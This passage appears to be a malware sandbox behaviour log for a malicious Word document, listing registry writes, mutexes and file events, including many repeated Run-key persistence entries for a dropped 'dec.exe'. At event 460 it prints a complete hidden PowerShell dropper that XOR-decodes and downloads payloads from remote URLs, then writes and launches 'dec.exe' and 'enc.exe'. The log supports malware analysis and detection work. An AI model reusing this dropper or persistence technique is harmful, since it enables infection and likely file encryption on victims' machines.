337 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

338 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

339 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

340 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

341 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

342 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

343 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

344 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

345 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

346 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

347 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

348 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

349 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

350 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

351 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

352 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

353 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

354 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

355 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

356 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

357 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

358 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

359 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

360 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

361 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

362 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

363 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

364 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

365 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

366 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

367 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

368 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

369 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

370 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

371 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

372 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

373 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

374 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

375 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

376 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

377 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

378 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

379 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

380 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

381 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

382 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

383 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

384 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

385 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

386 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

387 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

388 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

389 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

390 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

391 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

392 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

393 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

394 Created file C:\Users\Administrator\AppData\Local\Temp\CVRBE9C.tmp

395 Created mutex

396 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems\ to value e<

397 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages\1033 to value Off

398 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages\1033 to value On

399 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004119110000000000000000F01FEC\Usage\WORDFiles to value 1267400708

400 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004119110000000000000000F01FEC\Usage\ProductFiles to value 1267400712

401 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004119110000000000000000F01FEC\Usage\ProductFiles to value 1267400713

402 Created mutex Local\10MU_ACBPIDS_S-1-5-5-0-63423

403 Created mutex Local\10MU_ACB10_S-1-5-5-0-63423

404 Created mutex Global\552FFA80-3393-423d-8671-7BA046BB5906

405 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\MTTT to value NULL

406 Created mutex

407 Created mutex

408 Created mutex

409 Created mutex

410 Created mutex

411 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems*k< to value NULL

412 Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

413 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B66F2FB6-A288-4710-9392-E6A6491CC89F}.tmp

414 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems\sl< to value NULL

415 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems\"l< to value NULL

416 Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Word\STARTUP\~$c_hook.dotm

417 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{0F2E9469-D8DC-42D0-8F38-462838C457E1}.tmp

418 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004119110000000000000000F01FEC\Usage\VBAFiles to value 1267400705

419 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{19F29682-612C-441D-A0A3-3529EF85785C}.tmp

420 Created mutex Local\ZonesCounterMutex

421 Created mutex Local\ZoneAttributeCacheCounterMutex

422 Created mutex Local\ZonesCacheCounterMutex

423 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet to value 0

424 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect to value 1

425 Created mutex Local\ZoneAttributeCacheCounterMutex

426 Created mutex Local\ZonesLockedCacheCounterMutex

427 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet to value 0

428 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect to value 1

429 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems\cn< to value NULL

430 Created file C:\Users\Administrator\AppData\Local\Temp\\~DF9C50D316F815D31C.TMP

431 Deleted file C:\Users\Administrator\AppData\Local\Temp\\~DF9C50D316F815D31C.TMP

432 Created file C:\Users\Administrator\~$navwomhut.doc

433 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{69866B24-B105-4C8D-B7B4-B9507CA173FA}.tmp

434 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Common\ReviewCycle\ReviewToken to value {C861BC27-6742-481A-BA51-707844DE7541}

435 Created mutex Global\MTX_MSO_Formal1_S-1-5-21-3946836232-3129958654-3972794008-500

436 Created mutex Global\MTX_MSO_AdHoc1_S-1-5-21-3946836232-3129958654-3972794008-500

437 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\Place MRU\Max Display to value 25

438 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\Place MRU\Item 1 to value [F00000000][T01D37257B63B30D0][O00000000]*C:\Users\Administrator\

439 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Max Display to value 25

440 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 1 to value [F00000000][T01D37257B63C1B30][O00000000]*C:\Users\Administrator\sample.doc

441 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 2 to value [F00000000][T01D36EFB8882DA80][O00000000]*C:\Users\Administrator\Documents\QCiZnH8AOZ.doc

442 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 3 to value [F00000000][T01D36E8FB0D4EF80][O00000000]*C:\Users\Administrator\Documents\PUB.docm

443 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 4 to value [F00000000][T01D36B99DD3FF180][O00000000]*C:\Users\Administrator\Documents\uGzBcgWC.docx

444 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 5 to value [F00000000][T01D369A16809CC00][O00000000]*C:\Users\Administrator\Documents\i0p.docm

445 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 6 to value [F00000000][T01D361E3D43B4180][O00000000]*C:\Users\Administrator\Documents\6a.docx

446 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 7 to value [F00000000][T01D361AE67F21B00][O00000000]*C:\Users\Administrator\Documents\z.docx

447 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 8 to value [F00000000][T01D35EFB3867B800] [O00000000]*C:\Users\Administrator\Documents\7IX449XWY6G.docx

448 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 9 to value [F00000000][T01D35ACF3357D280][O00000000]*C:\Users\Administrator\Documents\xwtBKGhu.docm

449 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Max Display to value 25

450 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 1 to value [F00000000][T01D37257B63C1B30][O00000000]*C:\Users\Administrator\sample.doc

451 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 2 to value [F00000000][T01D36EFB8882DA80][O00000000]*C:\Users\Administrator\Documents\QCiZnH8AOZ.doc

452 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 3 to value [F00000000][T01D36E8FB0D4EF80][O00000000]*C:\Users\Administrator\Documents\PUB.docm

453 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 4 to value [F00000000][T01D36B99DD3FF180][O00000000]*C:\Users\Administrator\Documents\uGzBcgWC.docx

454 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 5 to value [F00000000][T01D369A16809CC00][O00000000]*C:\Users\Administrator\Documents\i0p.docm

455 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 6 to value [F00000000][T01D361E3D43B4180][O00000000]*C:\Users\Administrator\Documents\6a.docx

456 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 7 to value [F00000000][T01D361AE67F21B00][O00000000]*C:\Users\Administrator\Documents\z.docx

457 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 8 to value [F00000000][T01D35EFB3867B800] [O00000000]*C:\Users\Administrator\Documents\7IX449XWY6G.docx

458 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 9 to value [F00000000][T01D35ACF3357D280][O00000000]*C:\Users\Administrator\Documents\xwtBKGhu.docm

459 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\90C83C\90C83C to value NULL

460	Created Process powershell.exe -windowstyle hidden $dir = [Environment]::GetFolderPath('ApplicationData') + '\Spider';$enc = [System.Text.Encoding]::UTF8;function xor {param($string, $method)$xorkey = $enc.GetBytes('AlberTI');$string = $enc.GetString([System.Convert]::FromBase64String($string));$byteString = $enc.GetBytes($string);$xordData = $(for ($i = 0; $i -lt $byteString.length){for($j = 0; $j -lt $xorkey.length; $j++) {$byteString[$i] -bxor $xorkey[$j];$i++;if($i -ge $byteString.Length){$j = $xorkey.length}}});$xordData = $enc.GetString($xordData);return $xordData};function data {param($method)$webClient = New-Object System.Net.WebClient; if ($method -eq 'd'){$input = $webClient.DownloadString('http://yourjavascript.com/5118631477/javascript-dec-2-25-2.js')}else{$input = $webClient.DownloadString('http://yourjavascript.com/53103201277/javascript-enc-1-0-9.js')}$bytes = [Convert]::FromBase64String((xor $input 'd'));return $bytes};function io {param($method)if($method -eq 'd'){$filename = $dir + '\dec.exe'}else{$filename = $dir + '\enc.exe'}[IO.File]::WriteAllBytes($filename, (data $method))};function run {param($method)if ($method -eq 'd'){io 'd'; Start-Process -FilePath ($dir + '\dec.exe') -ArgumentList 'spider'}else{io 'e'; Start-Process -FilePath ($dir + '\enc.exe') -ArgumentList 'spider', 'ktn', '100'}};if(Test-Path $dir){}else{md $dir; run 'd'; run 'e' }
461	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00000000000F01FEC\Usage\SpellingAndGrammarFiles_3082 to value 1267400709
462	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00000000000F01FEC\Usage\SpellingAndGrammarFiles_3082 to value 1267400710
463	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400000000000F01FEC\Usage\SpellingAndGrammarFiles_1036 to value 1267400709
464	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400000000000F01FEC\Usage\SpellingAndGrammarFiles_1036 to value 1267400710
465	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033 to value 1267400714
466	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033 to value 1267400715
467	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00000000000F01FEC\Usage\SpellingAndGrammarFiles_3082 to value 1267400711
468	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00000000000F01FEC\Usage\SpellingAndGrammarFiles_3082 to value 1267400712
469	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400000000000F01FEC\Usage\SpellingAndGrammarFiles_1036 to value 1267400711
470	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400000000000F01FEC\Usage\SpellingAndGrammarFiles_1036 to value 1267400712
471	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033 to value 1267400716
472	Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033 to value 1267400717
473	Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Office\Recent\xbnavwomhut.LNK
474	Deleted file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Office\Recent\xbnavwomhut.LNK
475	Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Office\Recent\xbnavwomhut.LNK
476	Created mutex
477	Created mutex _SHuassist.mtx
478	Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P5XFTSY5ST9FXEEDGNC5.temp
479	Created mutex
480	Created mutex
481	Created mutex
482	Created mutex
483	Created file C:\Users\Administrator\AppData\Local\Temp\c3yobvva.da1.ps1
484	Created file C:\Users\Administrator\AppData\Local\Temp\w00ucqg0.cbx.psm1

485 Deleted file C:\Users\Administrator\AppData\Local\Temp\c3yobvva.da1.ps1

486 Deleted file C:\Users\Administrator\AppData\Local\Temp\w00ucqg0.cbx.psm1

487 Created mutex Global\552FFA80-3393-423d-8671-7BA046BB5906

488 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Common\Licensing\019C826E445A4649A5B00BF08FCC4EEE to value NULL

489 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033 to value 1267400718

490 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033 to value 1267400719

491 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033 to value 1267400720

492 Set key \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033 to value 1267400721

493 Created file C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe

494 Created mutex Local\ZonesCounterMutex

495 Created mutex Local\ZoneAttributeCacheCounterMutex

496 Created mutex Local\ZonesCacheCounterMutex

497 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet to value 0

498 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect to value 1

499 Created mutex Local\ZoneAttributeCacheCounterMutex

500 Created mutex Local\ZonesLockedCacheCounterMutex